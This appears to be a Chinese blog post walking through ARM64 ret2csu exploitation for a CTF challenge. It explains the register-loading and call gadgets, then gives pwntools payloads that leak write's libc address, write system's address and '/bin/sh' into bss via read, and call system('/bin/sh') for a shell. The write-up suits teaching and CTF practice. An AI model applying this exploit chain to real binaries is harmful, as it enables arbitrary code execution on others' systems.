首页 > 其他分享 >ARM架构下pwn的csu利用

ARM架构下pwn的csu利用

时间:2022-11-20 17:35:49浏览次数:71  
标签:x30 p64 g1 -- write csu pwn ARM pl

arm架构下的csu利用与x86架构下的有很多相似的点

x86:

image

arm:

image

首先看一下gadget1:

image

image

LDP             X19, X20, [SP,#var_s10]
LDP             X21, X22, [SP,#var_s20]
LDP             X23, X24, [SP,#var_s30]
LDP             X29, X30, [SP+var_s0],#0x40              
RET

ldp指令​: load address pair 读取一对地址

LDP X19, X20, [SP,#var_s10]​会将SP+var_s10​地址的内容给到X19和X20寄存器

其中X19​传入SP+var_s10​的内容,X20​传入SP+var_s10​+0x8的内容

LDP X29, X30, [SP+var_s0],#0x40 ​​会再SP+var_s0​地址的内容传给X29和X30寄存器后,再将sp指针增加0x40字节

ret​​ 返回到x30寄存器所存储的值

x30过程链接寄存器PLR (Produce Link Register) ,x30寄存器存放的是函数的返回地址

当ret指令执行时刻,会寻找x30寄存器保存的地址值

gadget2:

image

LDR             X3, [X21,X19,LSL#3]
MOV             X2, X24
ADD             X19, X19, #1
MOV             X1, X23
MOV             W0, W22
BLR             X3

CMP             X20, X19
B.NE            loc_4007F0

前四个参数存储在寄存器x0-x3中

LDR X3, [X21,X19,LSL#3]​​​将X19逻辑左移3位后,再加上X21寄存器的值,然后赋给X3

BLR X3​会跳转到X3储存的地址,并将下一指令的地址存到X30寄存器中

例题bpc_csu

友情猫链:https://www.cnblogs.com/bpcat/p/16878695.html

image

image

image

开始布置write(1,[email protected],0x8)​,来获取libc基址

pl = b'a'*0x88 + p64(g1) #x29  x30
pl+= p64(main) + p64(0x100000000) #其实这里写什么都无所谓,主要是起个抬栈作用
pl+= p64(0) + p64(g2) #x29   x30
pl+= p64(0) + p64(1) #x19 --0   x20 --1
pl+= p64(elf.got['write']) + p64(1) ##x21 --addr  x22 --x0
pl+= p64(elf.got['write']) + p64(0x8) #x23 --x1  x24 --x2
pl+= p64(0) +p64(main) #x29   x30

image

image

因为read读入的空间,我们的sp抬了0x90

ret: 0x400798

image

image

这里执行后sp+0x20

ret: g1

跳转到g1后我们可以发现sp的值,我们的布置可以使g2可以放入x30

image

执行完g1

image

执行完g2

image

image

布置好了write(1,[email protected],0x8)

跳转到x3 -> write,开始leak

image

write_addr = uu64(r(6))
li('write_addr'+hex(write_addr))
libcbase = write_addr - libc.sym['write']
li('libcbase'+hex(libcbase))
system = libcbase + libc.sym['system']
li('system'+hex(system))

获取了libc基址后,我们就可以布置read(1,bss+0x100,0x20)​来送入shellcode

pl = b'a'*0x88 + p64(g1) #x29  x30
pl+= p64(main) + p64(0x100000000) 
pl+= p64(0) + p64(g2) #g1: x29   x30
pl+= p64(0) + p64(1) #g1: x19 --0   x20 --1
pl+= p64(elf.got['read']) + p64(0) #g1: x21 --addr  x22 --x0
pl+= p64(bss1) + p64(0x20) #g1: x23 --x1  x24 --x2
pl+= p64(0) + p64(main) #x29   x30

pl送入

image

g1执行完

image

g2执行完

image

布置好了read(1,bss+0x100,0x20)​后,将shellcode送入

pause()
p.sendline(p64(system)+b'/bin/sh\x00')

image

下面跳到main

image

布置system('/bin/sh',0,0)

pl = b'a'*0x88 + p64(g1) 
pl+= p64(main) + p64(0x100000000) 
pl+= p64(0) + p64(g2) #x29   x30
pl+= p64(0) + p64(1) #x19 --0   x20 --1
pl+= p64(bss1) + p64(bss1+8) #x21 --addr  x22 --x0
pl+= p64(0) + p64(0) #x23 --x1  x24 --x2
pl+= p64(0) + p64(main) #x29   x30
p.sendlineafter('Hello, World\n',pl)

执行g1

image

执行g2

image

执行system('/bin/sh',0,0)

image

标签:x30,p64,g1,--,write,csu,pwn,ARM,pl
From: https://www.cnblogs.com/shuzM/p/16908993.html

相关文章

  • pycharm 小技巧
    ctrl键+B查看定义源代码alt键+enter键查看帮助ctrl键+shift键+-号所有代码隐藏ctrl键+shift键++号所有代码展示ctrl键+D复制代码findusages......
  • Robot Arms 2
    ProblemStatementYouaregivenasequence$A=(A_1,A_2,\dots,A_N)$oflength$N$consistingofpositiveintegers,andintegers$x$and$y$.Determinewhet......
  • 在安卓手机上,安装arm版powershell
     powershell 安装 install android 安卓 termux---【一在手机上安装termux】--- 在安卓v7手机上安装:https://github.com/termux/termux-app/releases/downlo......
  • 《XY6761CA 4G核心板》采用了(ARM Mali-G71 GPU)都有哪些功能??
     《XY6761CA4G核心板》为深圳市新移科技有限公司基于联发科MT6761(曦力A22)平台自主研发的一款4G全网通芯片。内部构造功能相当给力,不仅功能强大,性能强劲,运算能力也强。真......
  • 3.1版本【HarmonyOS 第一课】正式上线!参与学习赢官方好礼>>
    【课程介绍】《HarmonyOS第一课》是跟随版本迭代不断推出的系列化课程,本期课程基于HarmonyOS3.1版本的新技术和特性,每个课程单元里面都包含视频、Codelab、文章和习题,帮助......
  • pycharm插件推荐
    pycharm插件推荐1.RainbowBrackets该插件的作用在于能够将括号以不同的颜色标注出来,这样就能够在括号很多的时候,清楚辨别哪个括号是一对,支持多种语言。如下图所示2.In......
  • 3.1版本【HarmonyOS 第一课】正式上线!参与学习赢官方好礼>>
     【课程介绍】《HarmonyOS第一课》是跟随版本迭代不断推出的系列化课程,本期课程基于HarmonyOS3.1版本的新技术和特性,每个课程单元里面都包含视频、Codelab、文章和......
  • 51:Pycharm开发环境的下载安装配置_项目创建和运行
    ###PyCharm开发环境的使用开始学习控制语句,就会有大量的练习,我们开始学习更加强大的IDE。目前,比较流行的IDE是PyCharm。当然,还有其他IDE可供我们使用:1.IDLE2.PyC......
  • pycharm快捷键
    https://www.jb51.net/article/205459.htm1、编辑(Editing)Ctrl+Space:基本的代码完成(类、方法、属性)Ctrl+Alt+Space:快速导入任意类Ctrl+Shift+Enter:语句完成Ctrl......
  • 创新点亮科技之光,深圳云端未来携ARM云计算系列解决方案亮相高交会
    11月15日-19日,第二十四届中国国际高新技术成果交易会(简称高交会)在深圳举办。作为“中国科技第一展”,高交会紧跟时代发展潮流,秉持开放创新初心,催生了一大批自主创新的......